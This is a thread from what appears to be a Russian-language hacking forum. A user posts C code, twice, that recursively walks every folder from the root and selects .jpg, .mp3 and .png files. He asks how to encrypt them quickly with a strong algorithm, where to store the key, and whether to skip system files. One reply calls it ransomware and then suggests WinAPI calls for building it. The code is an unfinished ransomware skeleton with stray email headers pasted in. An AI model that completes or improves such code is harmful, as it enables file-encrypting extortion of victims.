• XSS.stack #1 – первый литературный журнал от юзеров форума

Cryptography files extensions C language (noob here)

hackertom

CD-диск
Пользователь
Регистрация
15.04.2023
Сообщения
15
Реакции
0
hello my goal is to create a file who search all drive latter's folders and subfolders and cryptography all files with extensions .jpg, .mp3, .zip
And save the public key to desktop key.txt my code now is

Код:
(κανένα θέμα)

hacker tom <hackertomobile@gmail.com>
2:23 μ.μ. (πριν από 2 λεπτά)
προς εγώ

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <sys/stat.h>

void traverse(const char *dir_path) {
    DIR *dir;
    struct dirent *entry;
    struct stat file_stat;

if (!( dir = opendir(dir_path))) {
        fprintf(stderr, "Error opening directory %s\n", dir_path);
        return;
    }

    while ((entry = readdir(dir))) {
        char path[1024];
        snprintf(path, sizeof(path), "%s/%s", dir_path, entry->d_name);

        if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) {
            continue;
        }

        if (stat(path, &file_stat) == -1) {
            fprintf(stderr, "Error getting file status for %s\n", path);
            continue;
        }

        if (S_ISDIR(file_stat.st_mode)) {
            traverse(path);
        } else {
            char *ext = strrchr(entry->d_name, '.');
            if (ext && (strcmp(ext, ".jpg") == 0 || strcmp(ext, ".mp3") == 0 || strcmp(ext, ".png") == 0)) {
how I use cryptographic operation here??
                //
Save key to file on desktop
                FILE *key_file = fopen("~/Desktop/key.txt", "w");
                if (!key_file) {
                    fprintf(stderr, "Error opening key file\n");
                } else {
                    fprintf(key_file, "my_private_key");
                    fclose(key_file);
                }
            }
        }
    }

    closedir(dir);
}

int main(int argc, char **argv) {
    traverse("/");
    return 0;
}
 
hello my goal is to create a file who search all drive latter's folders and subfolders and cryptography all files with extensions .jpg, .mp3, .zip
And save the public key to desktop key.txt my code now is

Код:
(κανένα θέμα)

hacker tom <hackertomobile@gmail.com>
2:23 μ.μ. (πριν από 2 λεπτά)
προς εγώ

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <sys/stat.h>

void traverse(const char *dir_path) {
    DIR *dir;
    struct dirent *entry;
    struct stat file_stat;

if (!( dir = opendir(dir_path))) {
        fprintf(stderr, "Error opening directory %s\n", dir_path);
        return;
    }

    while ((entry = readdir(dir))) {
        char path[1024];
        snprintf(path, sizeof(path), "%s/%s", dir_path, entry->d_name);

        if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) {
            continue;
        }

        if (stat(path, &file_stat) == -1) {
            fprintf(stderr, "Error getting file status for %s\n", path);
            continue;
        }

        if (S_ISDIR(file_stat.st_mode)) {
            traverse(path);
        } else {
            char *ext = strrchr(entry->d_name, '.');
            if (ext && (strcmp(ext, ".jpg") == 0 || strcmp(ext, ".mp3") == 0 || strcmp(ext, ".png") == 0)) {
how I use cryptographic operation here??
                //
Save key to file on desktop
                FILE *key_file = fopen("~/Desktop/key.txt", "w");
                if (!key_file) {
                    fprintf(stderr, "Error opening key file\n");
                } else {
                    fprintf(key_file, "my_private_key");
                    fclose(key_file);
                }
            }
        }
    }

    closedir(dir);
}

int main(int argc, char **argv) {
    traverse("/");
    return 0;
}

Need help code to

1) Cryptography with a strong algorithm fast the files
2) Is better to use avoid system file extensions e.g. .dll,.sys and other files cryptography?

Please any help to improve the code and if this code work correct or we can make this better ....
 
Not sure if this follows the forum rules, as you are asking for an ransomware.
Still, i suppose coding talks are allowed.

You should firstly get rid of msvcrt and use something like minicrt.
After that switch to WinAPI and do your task via FindFirstFile/NtQueryDirectoryFile.
Sorry friend this can be deleted if not in the rules the Russian language is difficult for me
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх